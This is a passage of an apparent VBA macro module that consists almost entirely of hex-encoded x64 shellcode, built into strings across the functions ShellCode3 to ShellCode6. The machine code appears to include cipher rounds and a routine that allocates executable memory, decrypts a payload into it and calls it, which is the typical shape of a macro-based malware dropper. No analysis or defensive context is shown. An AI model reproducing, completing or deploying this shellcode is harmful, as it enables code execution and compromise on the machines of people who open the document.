    sShellCode = sShellCode + "000045339c84a0b80000418bc241c1ea1045335d64c1e8180fb6d08bc3c1eb08"
    sShellCode = sShellCode + "458b8c94a0ac0000c1e8100fb6c88bc645338c8ca0b00000c1e8080fb6c8410f"
    sShellCode = sShellCode + "b6c041c1e81845338c8ca0b40000410fb6c845338c84a0b80000458b848ca0ac"
    sShellCode = sShellCode + "0000410fb6c245338484a0b0000045334d680fb6c345338484a0b40000400fb6"
    sShellCode = sShellCode + "c645338484a0b800004533456c418bc0c1e8100fb6d0418bc1418bb494a0b000"
    sShellCode = sShellCode + "00c1e8080fb6c88bc74133b48ca0b40000c1e8180fb6c8410fb6c34133b48ca0"
    sShellCode = sShellCode + "ac00004133b484a0b8000041337570418bc0c1e8080fb6d0418bc3418b9c94a0"
    sShellCode = sShellCode + "b40000c1e8180fb6c88bc741339c8ca0ac0000c1e8100fb6c8410fb6c141339c"
    sShellCode = sShellCode + "8ca0b0000041339c84a0b80000418bc141c1e91041335d74c1e8180fb6d0418b"
    sShellCode = sShellCode + "c341c1eb08458b9494a0ac0000c1e8100fb6c88bc74533948ca0b00000c1e808"
    sShellCode = sShellCode + "0fb6c8410fb6c041c1e8184533948ca0b40000410fb6c845339484a0b8000045"
    sShellCode = sShellCode + "8b848ca0ac0000410fb6c145338484a0b0000045335578410fb6c345338484a0"
    sShellCode = sShellCode + "b40000400fb6c745338484a0b800004533457c418bc0c1e8100fb6d0418bc241"
    sShellCode = sShellCode + "8bbc94a0b00000c1e8080fb6c88bc64133bc8ca0b40000c1e8180fb6c80fb6c3"
    sShellCode = sShellCode + "4133bc8ca0ac00004133bc84a0b80000418bc04133bd80000000c1e8080fb6d0"
    sShellCode = sShellCode + "8bc3458b9c94a0b40000c1e8180fb6c88bc645339c8ca0ac0000c1e8100fb6c8"
    sShellCode = sShellCode + "410fb6c245339c8ca0b0000045339c84a0b80000418bc245339d84000000c1e8"
    sShellCode = sShellCode + "180fb6d08bc3458b8c94a0ac0000c1e8100fb6c88bc645338c8ca0b00000c1e8"
    sShellCode = sShellCode + "08c1eb0841c1ea100fb6c8410fb6c041c1e81845338c8ca0b40000410fb6c849"
    sShellCode = sShellCode + "81c59000000045338c84a0b80000458b848ca0ac0000410fb6c245338484a0b0"
    sShellCode = sShellCode + "000045334df80fb6c345338484a0b40000400fb6c645338484a0b80000453345"
    sShellCode = sShellCode + "fc418bc0c1e8100fb6d0418bc1458bb494a0b00000c1e8080fb6c88bc74533b4"
    sShellCode = sShellCode + "8ca0b40000c1e8180fb6c8410fb6c34533b48ca0ac00004533b484a0b8000041"
    sShellCode = sShellCode + "8bc045337500c1e8080fb6d0418bc3418b9c94a0b40000c1e8180fb6c88bc741"
    sShellCode = sShellCode + "339c8ca0ac0000c1e8100fb6c8410fb6c141339c8ca0b0000041339c84a0b800"
    sShellCode = sShellCode + "00418bc141c1e91041335d04c1e8180fb6d0418bc341c1eb08418bb494a0ac00"
    sShellCode = sShellCode + "00c1e8100fb6c88bc74133b48ca0b00000c1e8080fb6c8410fb6c041c1e81841"
    sShellCode = sShellCode + "33b48ca0b40000410fb6c84133b484a0b80000458ba48ca0ac0000488d0d06dc"
    sShellCode = sShellCode + "ffff41337508410fb6c14433a481a0b00000410fb6c34433a481a0b40000400f"
    sShellCode = sShellCode + "b6c78bbd000200004433a481a0b80000488d2dd1dbffff4533650c83ff0a0f8e"
    sShellCode = sShellCode + "06020000418bc44983c520c1e8100fb6d08bc6448b9c95a0b00000c1e8080fb6"
    sShellCode = sShellCode + "c8418bc644339c8da0b40000c1e8180fb6c80fb6c344339c8da0ac000044339c"
    sShellCode = sShellCode + "85a0b80000418bc445335df0c1e8080fb6d08bc3448b9495a0b40000c1e8180f"
    sShellCode = sShellCode + "b6c8418bc64433948da0ac0000c1e8100fb6c8400fb6c64433948da0b0000044"
    sShellCode = sShellCode + "339485a0b800008bc6c1ee10453355f4c1e8180fb6d08bc3c1eb08448b8c95a0"
    sShellCode = sShellCode + "ac0000c1e8100fb6c8418bc644338c8da0b00000c1e8080fb6c8410fb6c441c1"
    sShellCode = sShellCode + "ec1844338c8da0b40000410fb6cc44338c85a0b80000448b848da0ac0000400f"
    sShellCode = sShellCode + "b6c644338485a0b0000045334df80fb6c344338485a0b40000410fb6c6443384"
    sShellCode = sShellCode + "85a0b80000453345fc418bc0c1e8100fb6d0418bc1448bb495a0b00000c1e808"
    sShellCode = sShellCode + "0fb6c8418bc34433b48da0b40000c1e8180fb6c8410fb6c24433b48da0ac0000"
    sShellCode = sShellCode + "4433b485a0b80000418bc045337500c1e8080fb6d0418bc28b9c95a0b40000c1"
    sShellCode = sShellCode + "e8180fb6c8339c8da0ac0000418bc3c1e8100fb6c8410fb6c1339c8da0b00000"
    sShellCode = sShellCode + "339c85a0b80000418bc141c1e91041335d04c1e8180fb6d0418bc241c1ea088b"
    sShellCode = sShellCode + "b495a0ac0000c1e8100fb6c8418bc333b48da0b00000c1e8080fb6c8410fb6c0"
    sShellCode = sShellCode + "41c1e81833b48da0b40000410fb6c833b485a0b80000448ba48da0ac0000410f"
    sShellCode = sShellCode + "b6c14433a485a0b0000041337508410fb6c24433a485a0b40000410fb6c34433"
    sShellCode = sShellCode + "a485a0b800004533650c83ff0c0f8e06020000418bc44983c520c1e8100fb6d0"
    sShellCode = sShellCode + "8bc6448b9c95a0b00000c1e8080fb6c8418bc644339c8da0b40000c1e8180fb6"
    sShellCode = sShellCode + "c80fb6c344339c8da0ac000044339c85a0b80000418bc445335df0c1e8080fb6"
    sShellCode = sShellCode + "d08bc3448b9495a0b40000c1e8180fb6c8418bc64433948da0ac0000c1e8100f"
    sShellCode = sShellCode + "b6c8400fb6c64433948da0b0000044339485a0b800008bc6c1ee10453355f4c1"
    sShellCode = sShellCode + "e8180fb6d08bc3c1eb08448b8c95a0ac0000c1e8100fb6c8418bc644338c8da0"
    sShellCode = sShellCode + "b00000c1e8080fb6c8410fb6c441c1ec1844338c8da0b40000410fb6cc44338c"
    sShellCode = sShellCode + "85a0b80000448b848da0ac0000400fb6c644338485a0b0000045334df80fb6c3"
    sShellCode = sShellCode + "44338485a0b40000410fb6c644338485a0b80000453345fc418bc0c1e8100fb6"
    sShellCode = sShellCode + "d0418bc1448bb495a0b00000c1e8080fb6c8418bc34433b48da0b40000c1e818"
    sShellCode = sShellCode + "0fb6c8410fb6c24433b48da0ac00004433b485a0b80000418bc045337500c1e8"
    sShellCode = sShellCode + "080fb6d0418bc28b9c95a0b40000c1e8180fb6c8339c8da0ac0000418bc3c1e8"
    sShellCode = sShellCode + "100fb6c8410fb6c1339c8da0b00000339c85a0b80000418bc141c1e91041335d"
    sShellCode = sShellCode + "04c1e8180fb6d0418bc241c1ea088bb495a0ac0000c1e8100fb6c8418bc333b4"
    sShellCode = sShellCode + "8da0b00000c1e8080fb6c8410fb6c041c1e81833b48da0b40000410fb6c833b4"
    sShellCode = sShellCode + "85a0b80000448ba48da0ac0000410fb6c14433a485a0b0000041337508410fb6"
    sShellCode = sShellCode + "c24433a485a0b40000410fb6c34433a485a0b800004533650c418bc6c1e8180f"
    sShellCode = sShellCode + "b6c8418bc4440fb68c29a0ab0000c1e8100fb6c841c1e1080fb68429a0ab0000"
    sShellCode = sShellCode + "4433c88bc6c1e80841c1e1080fb6c80fb68429a0ab00004433c80fb6c30fb684"
    sShellCode = sShellCode + "28a0ab000041c1e1084433c88bc345334d10c1e8180fb6c8418bc6440fb68429"
    sShellCode = sShellCode + "a0ab0000c1e8100fb6c841c1e0080fb68429a0ab00004433c0418bc4c1e80841"
    sShellCode = sShellCode + "c1e0080fb6c80fb68429a0ab00004433c0400fb6c60fb68428a0ab000041c1e0"
    sShellCode = sShellCode + "084433c08bc6c1ee1045334514c1e8180fb6c88bc3c1eb080fb69429a0ab0000"
    sShellCode = sShellCode + "c1e8100fb6c8c1e2080fb68429a0ab000033d0418bc6c1e808c1e2080fb6c80f"
    sShellCode = sShellCode + "b68429a0ab000033d0410fb6c441c1ec180fb68428a0ab0000c1e20833d0410f"
    sShellCode = sShellCode + "b6c40fb68c28a0ab000041335518400fb6c60fb68428a0ab0000c1e10833c80f"
    sShellCode = sShellCode + "b6c30fb68428a0ab0000c1e10833c8410fb6c60fb68428a0ab0000c1e10833c8"
    sShellCode = sShellCode + "41334d1c488b5c2428488b6c2430488b742438488b7c2440418bc145884f03c1"
    
    ShellCode3 = sShellCode
End Function

Private Function ShellCode4() As String
    Dim sShellCode As String
    
    sShellCode = ""
    sShellCode = sShellCode + "e818458847074188570b418807418bc141884f0fc1e81041884701418bc1c1e8"
    sShellCode = sShellCode + "0841884702418bc0c1e81841884704418bc0c1e81041884705418bc0c1e80841"
    sShellCode = sShellCode + "8847068bc2c1e818418847088bc2c1e810418847098bc2c1e8084188470a8bc1"
    sShellCode = sShellCode + "c1e8184188470c8bc1c1e8104188470d8bc1c1e8084188470e415f415e415d41"
    sShellCode = sShellCode + "5cc3cccccccccccc48895c240848896c2410488974241848897c242041544155"
    sShellCode = sShellCode + "41564883ec20488d3d8c040a00498bd8488bf24c8bf1bdfa940000492bf86666"
    sShellCode = sShellCode + "0f1f8400000000004c8b264c8b6e084c8bc3488bd6498bcee88befffffb90400"
    sShellCode = sShellCode + "0000660f1f4400000fb6441fff4883c3043043fc0fb6441ffc3043fd0fb6441f"
    sShellCode = sShellCode + "fd3043fe0fb6441ffe3043ff48ffc975d74883c6104883ef1048ffcd4c892515"
    sShellCode = sShellCode + "040a004c892d16040a00759c488b5c2440488b6c2448488b742450488b7c2458"
    sShellCode = sShellCode + "4883c420415e415d415cc3cccccccccccccccccccccccccc40534881ec500200"
    sShellCode = sShellCode + "00488b05e0a400004833c4488984244002000033c9baa84f090041b800300000"
    sShellCode = sShellCode + "448d4940ff15c6540000488bd84885c07467488d156fb3000041b8a84f090048"
    sShellCode = sShellCode + "8bc8e871450000488d4c2430e897e4ffff488d4c24304c8bc3488bd3e8c7feff"
    sShellCode = sShellCode + "ff4c8d4c2420baa84f090041b840000000488bcbc744242000000000ff157654"
    sShellCode = sShellCode + "000085c07413ffd333d241b800800000488bcbff154f54000033c0488b8c2440"
    sShellCode = sShellCode + "0200004833cce82d0000004881c4500200005bc3cccccccc4883ec28e837ffff"
    sShellCode = sShellCode + "ff33c04883c428c3cccccccccccc66660f1f840000000000483b0d09a4000075"
    sShellCode = sShellCode + "1148c1c11066f7c1ffff7502f3c348c1c910e9b1020000cc4c89442418534883"
    sShellCode = sShellCode + "ec20498bd883fa01757de88917000085c0750733c0e92a010000e8e108000085"
    sShellCode = sShellCode + "c07507e8c8170000ebe9e8f9160000ff15db53000048890524250a00e8f31500"
    sShellCode = sShellCode + "00488905c8020a00e8a70e000085c07907e8ae050000ebcbe8df14000085c078"
    sShellCode = sShellCode + "1fe8d611000085c0781633c9e8ff0b000085c0750bff058d020a00e9bf000000"
    sShellCode = sShellCode + "e843110000ebca85d2754d8b0577020a0085c00f8e7affffffffc8890567020a"
    sShellCode = sShellCode + "00391545080a007505e80e0e00004885db7510e810110000e847050000e82e17"
    sShellCode = sShellCode + "0000904885db7577833d29a30000ff746ee82e050000eb6783fa027556e81e05"
    sShellCode = sShellCode + "0000bac8020000b901000000e853090000488bd84885c00f8416ffffff488bd0"
    sShellCode = sShellCode + "8b0df2a20000ff15fc520000488bcb85c0741633d2e812050000ff15e0520000"
    sShellCode = sShellCode + "890348834b08ffeb16e856080000e9e0feffff83fa03750733c9e881070000b8"
    sShellCode = sShellCode + "010000004883c4205bc3cccc48895c2408488974241048897c241841544883ec"
    sShellCode = sShellCode + "30498bf08bda4c8be1b80100000085d2750f391590010a00750733c0e9d00000"
    sShellCode = sShellCode + "0083fa01740583fa0275334c8b0d965400004d85c9740741ffd18944242085c0"
    sShellCode = sShellCode + "74154c8bc68bd3498bcce849feffff8944242085c0750733c0e9930000004c8b"
    sShellCode = sShellCode + "c68bd3498bcce8291800008bf88944242083fb01753585c075314c8bc633d249"
    sShellCode = sShellCode + "8bcce80d1800004c8bc633d2498bcce804feffff4c8b1d2d5400004d85db740b"
    sShellCode = sShellCode + "4c8bc633d2498bcc41ffd385db740583fb0375374c8bc68bd3498bcce8d7fdff"
    sShellCode = sShellCode + "fff7d81bc923cf8bf9894c2420741c488b05f25300004885c074104c8bc68bd3"
    sShellCode = sShellCode + "498bccffd08bf8894424208bc7eb0233c0488b5c2440488b742448488b7c2450"
    sShellCode = sShellCode + "4883c430415cc3cc48895c24084889742410574883ec20498bf88bda488bf183"
    sShellCode = sShellCode + "fa017505e8731700004c8bc78bd3488bce488b5c2430488b7424384883c4205f"
    sShellCode = sShellCode + "e9a7feffffcccccc48894c24084881ec88000000488d0d0d010a00ff158f5100"
    sShellCode = sShellCode + "00488b05f8010a0048894424584533c0488d542460488b4c2458e82d4a000048"
    sShellCode = sShellCode + "8944245048837c245000744148c744243800000000488d442448488944243048"
    sShellCode = sShellCode + "8d4424404889442428488d05b8000a0048894424204c8b4c24504c8b44245848"
    sShellCode = sShellCode + "8b54246033c9e8db490000eb22488b84248800000048890584010a00488d8424"
    sShellCode = sShellCode + "880000004883c00848890511010a00488b056a010a00488905dbff0900488b84"
    sShellCode = sShellCode + "2490000000488905dc000a00c705b2ff0900090400c0c705acff090001000000"
    sShellCode = sShellCode + "488b0561a000004889442468488b055da000004889442470ff159a5000008905"
    sShellCode = sShellCode + "1c000a00b901000000e80217000033c9ff157a500000488d0d73520000ff1565"
    sShellCode = sShellCode + "500000833df6ff090000750ab901000000e8da160000ff1544500000ba090400"
    sShellCode = sShellCode + "c0488bc8ff152e5000004881c488000000c3cccc4c8bdc49895b0849896b1849"
    sShellCode = sShellCode + "897320498953105741544155415641574883ec404d8b79084d8b318b4104498b"
    sShellCode = sShellCode + "79384d2bf74d8be14c8bea488be9a8660f85ed0000004963714849894bc84d89"
    sShellCode = sShellCode + "43d0488bc63b370f83810100004803c0488d5cc70c8b43f84c3bf00f82a80000"
    sShellCode = sShellCode + "008b43fc4c3bf00f839c000000837b04000f8492000000833b0174198b03488d"
    sShellCode = sShellCode + "4c2430498bd54903c7ffd085c00f88890000007e74817d0063736de075284883"
    sShellCode = sShellCode + "3db2200a0000741e488d0da9200a00e80417000085c0740eba01000000488bcd"
    sShellCode = sShellCode + "ff1592200a008b4b0441b801000000498bd54903cfe81e160000498b4424408b"
    sShellCode = sShellCode + "53044c634d004889442428498b4424284903d74c8bc5498bcd4889442420ff15"
    sShellCode = sShellCode + "544f0000e81f160000ffc64883c3103b370f83b7000000e939ffffff33c0e9b0"
    sShellCode = sShellCode + "0000004d8b412033ed4533ed4d2bc7a820743b33d239177635488d4f088b41fc"
    sShellCode = sShellCode + "4c3bc072078b014c3bc0760cffc24883c1103b177318ebe58bc24803c08b4cc7"
    sShellCode = sShellCode + "1085c975068b6cc70ceb03448be949637148488bde3b37735548ffc348c1e304"
    sShellCode = sShellCode + "4803df8b43f44c3bf072398b43f84c3bf073314585ed7405443b2b743185ed74"
    sShellCode = sShellCode + "053b6bfc7428833b007519488b5424788d4601b1014189442448448b43fc4d03"
    sShellCode = sShellCode + "c741ffd0ffc64883c3103b3772b5b8010000004c8d5c2440498b5b30498b6b40"
    sShellCode = sShellCode + "498b7348498be3415f415e415d415c5fc3cccccc33c948ff25634e0000cccccc"
    sShellCode = sShellCode + "33c0c3cc4883ec288b0dea9d000083f9ff740dff15574e0000830dd89d0000ff"
    sShellCode = sShellCode + "4883c428e957160000cccccc48895c2408574883ec20488bfa488bd9488d0525"
    sShellCode = sShellCode + "500000488981a000000083611000c7411c01000000c781c800000001000000c6"
    sShellCode = sShellCode + "817401000043c681f701000043488d0574a40000488981b8000000b90d000000"
    sShellCode = sShellCode + "e88317000090488b83b8000000f0ff00b90d000000e86e160000b90c000000e8"
    sShellCode = sShellCode + "64170000904889bbc00000004885ff750e488b0520a40000488983c000000048"
    sShellCode = sShellCode + "8b8bc0000000e88117000090b90c000000e832160000488b5c24304883c4205f"
    sShellCode = sShellCode + "c3cccccc48895c2408574883ec20ff158c4d00008b0dfe9c00008bf8ff15664d"
    sShellCode = sShellCode + "0000488bd84885c075488d4801bac8020000e82d030000488bd84885c074338b"
    sShellCode = sShellCode + "0dd39c0000488bd0ff15da4c0000488bcb85c0741633d2e8f0feffffff15be4c"
    sShellCode = sShellCode + "000048834b08ff8903eb07e83402000033db8bcfff151e4d0000488bc3488b5c"
    sShellCode = sShellCode + "24304883c4205fc340534883ec20e871ffffff488bd84885c075088d4810e849"
    sShellCode = sShellCode + "070000488bc34883c4205bc34885c90f842901000048895c2410574883ec2048"
    sShellCode = sShellCode + "8bd9488b49384885c97405e8d4010000488b4b484885c97405e8c6010000488b"
    sShellCode = sShellCode + "4b584885c97405e8b8010000488b4b684885c97405e8aa010000488b4b704885"
    sShellCode = sShellCode + "c97405e89c010000488b4b784885c97405e88e010000488b8b800000004885c9"
    sShellCode = sShellCode + "7405e87d010000488b8ba0000000488d05534e0000483bc87405e865010000bf"
    sShellCode = sShellCode + "0d0000008bcfe8dd15000090488b8bb800000048894c24304885c9741cf0ff09"
    sShellCode = sShellCode + "7517488d059fa20000488b4c2430483bc87406e82c010000908bcfe8a8140000"
    sShellCode = sShellCode + "b90c000000e89e15000090488bbbc00000004885ff742b488bcfe85916000048"
    sShellCode = sShellCode + "3b3d52a20000741a488d05e9a00000483bf8740e833f007509488bcfe8db1600"
    sShellCode = sShellCode + "0090b90c000000e85c140000488bcbe8d0000000488b5c24384883c4205fc3cc"
    sShellCode = sShellCode + "40534883ec20488bd98b0d299b000083f9ff74244885db750fff15894b00008b"
    sShellCode = sShellCode + "0d139b0000488bd833d2ff15184b0000488bcbe894feffff4883c4205bc3cccc"
    sShellCode = sShellCode + "40534883ec20e8b1020000e8ec12000085c07460488d0d71feffffff15674b00"
    sShellCode = sShellCode + "008905d19a000083f8ff7448bac8020000b901000000e809010000488bd84885"
    sShellCode = sShellCode + "c074318b0daf9a0000488bd0ff15b64a000085c0741e33d2488bcbe8ccfcffff"
    sShellCode = sShellCode + "ff159a4a000048834b08ff8903b801000000eb07e88bfcffff33c04883c4205b"
    sShellCode = sShellCode + "c3cccccc4885c97437534883ec204c8bc1488b0d68000a0033d2ff15f04a0000"
    sShellCode = sShellCode + "85c07517e853210000488bd8ff15ce4a00008bc8e8fb20000089034883c4205b"
    sShellCode = sShellCode + "c3cccccc488bc44889580848896810488970184889782041544883ec208b3db5"
    sShellCode = sShellCode + "fe090033ed488bf14183ccff488bcee828210000488bd84885c0752885ff7424"
    sShellCode = sShellCode + "8bcdff15904a00008b3d8afe0900448d9de8030000443bdf418beb410f47ec41"
    
    ShellCode4 = sShellCode
End Function

Private Function ShellCode5() As String
    Dim sShellCode As String
    
    sShellCode = ""
    sShellCode = sShellCode + "3bec75c8488b6c2438488b742440488b7c2448488bc3488b5c24304883c42041"
    sShellCode = sShellCode + "5cc3cccc488bc44889580848896810488970184889782041544883ec2033ff48"
    sShellCode = sShellCode + "8bf2488be94183ccff4533c0488bd6488bcde85d210000488bd84885c0752a39"
    sShellCode = sShellCode + "0513fe090076228bcfff15094a0000448d9fe8030000443b1dfbfd0900418bfb"
    sShellCode = sShellCode + "410f47fc413bfc75c0488b6c2438488b742440488b7c2448488bc3488b5c2430"
    sShellCode = sShellCode + "4883c420415cc3cc488bc44889580848896810488970184889782041544883ec"
    sShellCode = sShellCode + "2033f6488bfa488be94183ccff488bd7488bcde878210000488bd84885c0752f"
    sShellCode = sShellCode + "4885ff742a39058dfd090076228bceff1583490000448d9ee8030000443b1d75"
    sShellCode = sShellCode + "fd0900418bf3410f47f4413bf475be488b6c2438488b742440488b7c2448488b"
    sShellCode = sShellCode + "c3488b5c24304883c420415cc3cccccc40534883ec208bd9488d0df14a0000ff"
    sShellCode = sShellCode + "15434900004885c07419488d15cf4a0000488bc8ff15264900004885c074048b"
    sShellCode = sShellCode + "cbffd04883c4205bc3cccccc40534883ec208bd9e8b7ffffff8bcbff150f4900"
    sShellCode = sShellCode + "00ccccccb908000000e95a120000ccccb908000000e94e110000cccc40534883"
    sShellCode = sShellCode + "ec20e82dfaffff488bc8488bd8e842260000488bcbe822240000488bcbe81224"
    sShellCode = sShellCode + "0000488bcbe802240000488bcbe896210000488bcb4883c4205be969210000cc"
    sShellCode = sShellCode + "483bca732d48895c2408574883ec20488bfa488bd9488b034885c07402ffd048"
    sShellCode = sShellCode + "83c308483bdf72ed488b5c24304883c4205fc3cc48895c2408574883ec2033c0"
    sShellCode = sShellCode + "488bfa488bd9483bca731785c07513488b0b4885c97402ffd14883c308483bdf"
    sShellCode = sShellCode + "72e9488b5c24304883c4205fc3cccccc48895c2408574883ec2048833dc6180a"
    sShellCode = sShellCode + "00008bd97418488d0dbb180a00e8260f000085c074088bcbff15aa180a00e815"
    sShellCode = sShellCode + "270000488d154e490000488d0d2f490000e87effffff85c0755a488d0d9f0a00"
    sShellCode = sShellCode + "00e8da260000488d1d03490000488d3d04490000eb0e488b034885c07402ffd0"
    sShellCode = sShellCode + "4883c308483bdf72ed48833d5f180a0000741f488d0d56180a00e8b90e000085"
    sShellCode = sShellCode + "c0740f4533c033c9418d5002ff153e180a0033c0488b5c24304883c4205fc3cc"
    sShellCode = sShellCode + "48895c2408488974241044894424185741544155415641574883ec40458be08b"
    sShellCode = sShellCode + "da448bf9b908000000e8ba10000090833d9afb0900010f8401010000c70586fb"
    sShellCode = sShellCode + "0900010000004488257bfb090085db0f85d4000000488b0dbc170a00ff153647"
    sShellCode = sShellCode + "0000488bf048894424304885c00f84a3000000488b0d96170a00ff1518470000"
    sShellCode = sShellCode + "488bf848894424204c8bf648897424284c8be848894424384883ef0848897c24"
    sShellCode = sShellCode + "20483bfe7270e829f8ffff4839077502ebe6483bfe725f488b0fff15d8460000"
    sShellCode = sShellCode + "488bd8e80cf8ffff488907ffd3488b0d44170a00ff15be460000488bd8488b0d"
    sShellCode = sShellCode + "2c170a00ff15ae4600004c3bf375054c3be874bc4c8bf348895c2428488bf348"
    sShellCode = sShellCode + "895c24304c8be84889442438488bf84889442420eb9a488d15cb470000488d0d"
    sShellCode = sShellCode + "bc470000e8b7fdffff488d15c8470000488d0db9470000e8a4fdffff904585e4"
    sShellCode = sShellCode + "740fb908000000e89c0e00004585e47526c70575fa090001000000b908000000"
    sShellCode = sShellCode + "e8830e0000418bcfe8c3fcffff418bcfff151a460000cc488b5c2470488b7424"
    sShellCode = sShellCode + "784883c440415f415e415d415c5fc3cc4533c0418d5001e964feffff33d233c9"
    sShellCode = sShellCode + "448d4201e957feffffcccccc40534883ec208bd9e8a32700008bcbe83c250000"
    sShellCode = sShellCode + "4533c0b9ff000000418d5001e82ffeffffcccccc48895c240848896c24104889"
    sShellCode = sShellCode + "7c24184154415541564881ec90000000488d4c2420ff15c5450000ba58000000"
    sShellCode = sShellCode + "8d6ac88bcde81afbffff4533f6488bd04885c0750883c8ffe96b020000488905"
    sShellCode = sShellCode + "e4130a004805000b00008bcd890dce130a00483bd073454883c20948834af7ff"
    sShellCode = sShellCode + "66c742ff000a4489720366c7422f000ac642310a4489724744887243488b05a5"
    sShellCode = sShellCode + "130a004883c258488d4af74805000b0000483bc872c58b0d84130a0066443974"
    sShellCode = sShellCode + "24620f8434010000488b4424684885c00f84260100004c6320bb000800004c8d"
    sShellCode = sShellCode + "68044d03e539180f4c183bcb0f8d87000000488d3d57130a00ba58000000488b"
    sShellCode = sShellCode + "cde85efaffff4885c074688b152f130a00488d88000b000048890703d589151d"
    sShellCode = sShellCode + "130a00483bc17341488d500948834af7ff80622f8066c742ff000a4489720366"
    sShellCode = sShellCode + "c742300a0a4489724744887243488b074883c258488d4af74805000b0000483b"
    sShellCode = sShellCode + "c872c98b15d7120a004883c7083bd37c88eb068b1dc7120a00418bfe85db7e7c"
    sShellCode = sShellCode + "49833c24ff746849833c24fe746141f6450001745a41f6450008750e498b0c24"
    sShellCode = sShellCode + "ff155244000085c074454863ef488d0d94120a00baa00f0000488bc583e51f48"
    sShellCode = sShellCode + "c1f805486bed5848032cc1498b042448894500418a4500488d4d10884508ff15"
    sShellCode = sShellCode + "0c44000085c00f8469feffffff450cffc749ffc54983c4083bfb7c84458be649"
    sShellCode = sShellCode + "8bde488b3d3f120a0048833c3bff741148833c3bfe740a804c3b0880e9850000"
    sShellCode = sShellCode + "00418d4424ffc6443b0881f7d8b8f6ffffff1bc983c1f54585e40f44c8ff15a5"
    sShellCode = sShellCode + "430000488be84883f8ff744d4885c07448488bc8ff159e43000085c0743b0fb6"
    sShellCode = sShellCode + "c048892c3b83f8027507804c3b0840eb0a83f8037505804c3b0808488d4c3b10"
    sShellCode = sShellCode + "baa00f0000ff156543000085c00f84c2fdffffff443b0ceb0d804c3b084048c7"
    sShellCode = sShellCode + "043bfeffffff4883c35841ffc44881fb080100000f8c48ffffff8b0d80110a00"
    sShellCode = sShellCode + "ff151a43000033c04c8d9c2490000000498b5b20498b6b28498b7b30498be341"
    sShellCode = sShellCode + "5e415d415cc3cccc48895c24084889742410574883ec20488d1d4a110a00be40"
    sShellCode = sShellCode + "000000488b3b4885ff7437488d87000b0000eb1d837f0c00740a488d4f10ff15"
    sShellCode = sShellCode + "e4420000488b034883c7584805000b0000483bf872de488b0be866f7ffff4883"
    sShellCode = sShellCode + "23004883c30848ffce75b8488b5c2430488b7424384883c4205fc3cc48895c24"
    sShellCode = sShellCode + "0848896c24104889742418574883ec30833de9120a00007505e82e180000488b"
    sShellCode = sShellCode + "1dabf0090033ff4885db751b83c8ffe9b40000003c3d7402ffc7488bcbe8b624"
    sShellCode = sShellCode + "0000488d5c03018a0384c075e78d4701ba080000004863c8e8a7f7ffff488bf8"
    sShellCode = sShellCode + "48890511f609004885c074c0488b1d5df00900803b007450488bcbe878240000"
    sShellCode = sShellCode + "803b3d8d7001742e4863eeba01000000488bcde86cf7ffff4889074885c07473"
    sShellCode = sShellCode + "4c8bc3488bd5488bc8e8d223000085c0754b4883c7084863c64803d8803b0075"
    sShellCode = sShellCode + "b7488b1d08f00900488bcbe874f6ffff488325f8ef09000048832700c7050212"
    sShellCode = sShellCode + "0a000100000033c0488b5c2440488b6c2448488b7424504883c4305fc3488364"
    sShellCode = sShellCode + "2420004533c94533c033d233c9e8fe1d0000cc488b0d5ef50900e825f6ffff48"
    sShellCode = sShellCode + "832551f5090000e900ffffff488bc44889580848896810488970184889782041"
    sShellCode = sShellCode + "54415541564883ec204c8b6c24604d8bf1498bf841836500004c8be2488bd941"
    sShellCode = sShellCode + "c701010000004885d274074c89024983c40833ed803b22751133c085ed40b622"
    sShellCode = sShellCode + "0f94c048ffc38be8eb3941ff45004885ff74078a03880748ffc70fb63348ffc3"
    sShellCode = sShellCode + "8bcee87524000085c0741341ff45004885ff74078a03880748ffc748ffc34084"
    sShellCode = sShellCode + "f6741b85ed75ad4080fe2074064080fe0975a14885ff7409c647ff00eb0348ff"
    sShellCode = sShellCode + "cb33f6803b000f84e3000000803b207405803b09750548ffc3ebf1803b000f84"
    sShellCode = sShellCode + "cb0000004d85e4740849893c244983c40841ff06ba0100000033c9eb0548ffc3"
    sShellCode = sShellCode + "ffc1803b5c74f6803b22753684ca751d85f6740e488d43018038227505488bd8"
    sShellCode = sShellCode + "eb0b33c033d285f60f94c08bf0d1e9eb11ffc94885ff7406c6075c48ffc741ff"
    sShellCode = sShellCode + "450085c975eb8a0384c0744f85f675083c2074473c09744385d274370fbec8e8"
    sShellCode = sShellCode + "982300004885ff741b85c0740e8a0348ffc3880748ffc741ff45008a03880748"
    sShellCode = sShellCode + "ffc7eb0b85c0740748ffc341ff450041ff450048ffc3e959ffffff4885ff7406"
    sShellCode = sShellCode + "c6070048ffc741ff4500e914ffffff4d85e47405498324240041ff06488b5c24"
    sShellCode = sShellCode + "40488b6c2448488b742450488b7c24584883c420415e415d415cc3cc48895c24"
    sShellCode = sShellCode + "184889742420574883ec30833dee0f0a00007505e833150000488d3d98f30900"
    sShellCode = sShellCode + "41b80401000033c9488bd7c6058af4090000ff15783f0000488b1de10f0a0048"
    sShellCode = sShellCode + "893d52f309004885db7405803b007503488bdf488d4424484c8d4c24404533c0"
    sShellCode = sShellCode + "33d2488bcb4889442420e8bdfdffff486374244048b9ffffffffffffff1f483b"
    sShellCode = sShellCode + "f1735c48634c24484883f9ff7351488d14f1483bd17248488bcae8e5f3ffff48"
    sShellCode = sShellCode + "8bf84885c074384c8d04f0488d4424484c8d4c2440488bd7488bcb4889442420"
    sShellCode = sShellCode + "e867fdffff448b5c244048893d97f2090041ffcb33c044891d87f20900eb0383"
    sShellCode = sShellCode + "c8ff488b5c2450488b7424584883c4305fc3cccc488bc4488958084889681048"
    sShellCode = sShellCode + "8970184889782041544883ec40ff15b53e00004533e4488bf84885c00f84a900"
    sShellCode = sShellCode + "0000488bd86644392074144883c3026644392375f64883c3026644392375ec4c"
    sShellCode = sShellCode + "89642438482bd84c8964243048d1fb4c8bc033d2448d4b0133c944896424284c"
    
    ShellCode5 = sShellCode
End Function

Private Function ShellCode6() As String
    Dim sShellCode As String
    
    sShellCode = ""
    sShellCode = sShellCode + "89642420ff15563e00004863e885c07451488bcde80bf3ffff488bf04885c074"
    sShellCode = sShellCode + "414c896424384c89642430448d4b014c8bc733d233c9896c24284889442420ff"
    sShellCode = sShellCode + "151b3e000085c0750b488bcee893f2ffff498bf4488bcfff15fb3d0000488bc6"
    sShellCode = sShellCode + "eb0b488bcfff15ed3d000033c0488b5c2450488b6c2458488b742460488b7c24"
    sShellCode = sShellCode + "684883c440415cc348895c2408574883ec20488d1d7f790000488d3d78790000"
    sShellCode = sShellCode + "eb0e488b034885c07402ffd04883c308483bdf72ed488b5c24304883c4205fc3"
